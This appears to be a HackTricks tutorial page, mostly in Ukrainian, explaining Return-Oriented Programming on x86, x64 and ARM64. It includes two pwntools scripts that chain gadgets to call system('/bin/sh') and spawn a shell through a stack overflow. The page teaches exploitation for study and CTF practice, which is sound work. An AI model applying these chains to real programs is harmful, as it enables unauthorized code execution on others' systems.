ROP - Return Oriented Programing
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Return-Oriented Programming (ROP) - це просунута техніка експлуатації, що використовується для обходу заходів безпеки, таких як No-Execute (NX) або Data Execution Prevention (DEP). Замість того, щоб інжектувати та виконувати shellcode, зловмисник використовує фрагменти коду, які вже присутні в бінарному файлі або в завантажених бібліотеках, відомі як "gadgets". Кожен gadget зазвичай закінчується інструкцією ret
і виконує невелику операцію, таку як переміщення даних між реєстрами або виконання арифметичних операцій. Поєднуючи ці gadgets, зловмисник може створити payload для виконання довільних операцій, ефективно обходячи захисти NX/DEP.
Як працює ROP
- Перехоплення потоку управління: Спочатку зловмисник повинен перехопити потік управління програми, зазвичай експлуатуючи переповнення буфера, щоб перезаписати збережену адресу повернення в стеку.
- Поєднання gadgets: Потім зловмисник обережно вибирає та поєднує gadgets для виконання бажаних дій. Це може включати налаштування аргументів для виклику функції, виклик функції (наприклад,
system("/bin/sh")
) та обробку будь-яких необхідних очищень або додаткових операцій. - Виконання payload: Коли вразлива функція повертається, замість повернення до легітимного місця, вона починає виконувати ланцюг gadgets.
Інструменти
Зазвичай gadgets можна знайти за допомогою ROPgadget, ropper або безпосередньо з pwntools (ROP).
Приклад ROP Chain в x86
x86 (32-біт) Конвенції виклику
- cdecl: Викликач очищає стек. Аргументи функції поміщаються в стек у зворотному порядку (з правого на лівий). Аргументи поміщаються в стек з правого на лівий.
- stdcall: Схоже на cdecl, але викликана функція відповідає за очищення стека.
Пошук gadgets
Спочатку припустимо, що ми визначили необхідні gadgets у бінарному файлі або його завантажених бібліотеках. Gadgets, які нас цікавлять:
pop eax; ret
: Цей gadget витягує верхнє значення стека в регістрEAX
і потім повертається, дозволяючи нам контролюватиEAX
.pop ebx; ret
: Схоже на попередній, але для регістраEBX
, що дозволяє контролюватиEBX
.mov [ebx], eax; ret
: Переміщує значення вEAX
у пам'ятеву адресу, на яку вказуєEBX
, і потім повертається. Це часто називається write-what-where gadget.- Крім того, у нас є адреса функції
system()
.
ROP Chain
Використовуючи pwntools, ми готуємо стек для виконання ROP chain наступним чином, намагаючись виконати system('/bin/sh')
, зверніть увагу, як ланцюг починається з:
- Інструкції
ret
для вирівнювання (необов'язково) - Адреси функції
system
(припускаючи, що ASLR вимкнено і libc відома, більше інформації в Ret2lib) - Заповнювач для адреси повернення з
system()
- Адреса рядка
"/bin/sh"
(параметр для функції system)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP Chain in x64 Example
x64 (64-bit) Calling conventions
- Використовує System V AMD64 ABI викликову конвенцію на Unix-подібних системах, де перші шість цілочисельних або вказівних аргументів передаються в регістри
RDI
,RSI
,RDX
,RCX
,R8
таR9
. Додаткові аргументи передаються на стек. Значення повернення розміщується вRAX
. - Windows x64 викликна конвенція використовує
RCX
,RDX
,R8
таR9
для перших чотирьох цілочисельних або вказівних аргументів, з додатковими аргументами, що передаються на стек. Значення повернення розміщується вRAX
. - Регістри: 64-бітні регістри включають
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
таR8
доR15
.
Finding Gadgets
Для наших цілей зосередимося на гаджетах, які дозволять нам встановити регістр RDI (щоб передати рядок "/bin/sh" як аргумент для system()) і потім викликати функцію system(). Ми припустимо, що ми ідентифікували наступні гаджети:
- pop rdi; ret: Витягує верхнє значення зі стека в RDI і потім повертається. Важливо для встановлення нашого аргументу для system().
- ret: Просте повернення, корисне для вирівнювання стека в деяких сценаріях.
І ми знаємо адресу функції system().
ROP Chain
Нижче наведено приклад використання pwntools для налаштування та виконання ROP-ланцюга, що має на меті виконати system('/bin/sh') на x64:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
У цьому прикладі:
- Ми використовуємо
pop rdi; ret
гаджет, щоб встановитиRDI
на адресу"/bin/sh"
. - Ми безпосередньо переходимо до
system()
після встановленняRDI
, з адресою system() в ланцюгу. ret_gadget
використовується для вирівнювання, якщо цільове середовище цього вимагає, що є більш поширеним у x64 для забезпечення правильного вирівнювання стеку перед викликом функцій.
Вирівнювання стеку
x86-64 ABI забезпечує, що стек вирівняний на 16 байт, коли виконується інструкція виклику. LIBC, для оптимізації продуктивності, використовує інструкції SSE (такі як movaps), які вимагають цього вирівнювання. Якщо стек не вирівняний належним чином (тобто RSP не є кратним 16), виклики функцій, таких як system, зазнають невдачі в ROP ланцюзі. Щоб виправити це, просто додайте ret gadget перед викликом system у вашому ROP ланцюзі.
Основна різниця між x86 та x64
tip
Оскільки x64 використовує регістри для перших кількох аргументів, він часто вимагає менше гаджетів, ніж x86 для простих викликів функцій, але знаходження та з'єднання правильних гаджетів може бути більш складним через збільшену кількість регістрів і більший адресний простір. Збільшена кількість регістрів і більший адресний простір в архітектурі x64 надають як можливості, так і виклики для розробки експлойтів, особливо в контексті Return-Oriented Programming (ROP).
Приклад ROP ланцюга в ARM64
Основи ARM64 та викликові конвенції
Перевірте наступну сторінку для цієї інформації:
Захист від ROP
- ASLR & PIE: Ці захисти ускладнюють використання ROP, оскільки адреси гаджетів змінюються між виконаннями.
- Stack Canaries: У випадку BOF, потрібно обійти зберігання canary стеку, щоб перезаписати вказівники повернення для зловживання ROP ланцюгом.
- Брак гаджетів: Якщо недостатньо гаджетів, не буде можливості згенерувати ROP ланцюг.
Техніки на основі ROP
Зверніть увагу, що ROP - це лише техніка для виконання довільного коду. На основі ROP було розроблено багато технік Ret2XXX:
- Ret2lib: Використовуйте ROP для виклику довільних функцій з завантаженої бібліотеки з довільними параметрами (зазвичай щось на кшталт
system('/bin/sh')
.
- Ret2Syscall: Використовуйте ROP для підготовки виклику до системного виклику, наприклад,
execve
, і змусьте його виконати довільні команди.
- EBP2Ret & EBP Chaining: Перший буде зловживати EBP замість EIP для контролю потоку, а другий подібний до Ret2lib, але в цьому випадку потік контролюється переважно адресами EBP (хоча також потрібно контролювати EIP).
Stack Pivoting - EBP2Ret - EBP chaining
Інші приклади та посилання
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 біт, Pie та nx увімкнені, без canary, перезаписати RIP з адресою
vsyscall
з єдиною метою повернення до наступної адреси в стеку, яка буде частковим перезаписом адреси для отримання частини функції, яка витікає прапор - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, без ASLR, ROP гаджет для зробити стек виконуваним і перейти до shellcode в стеку
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.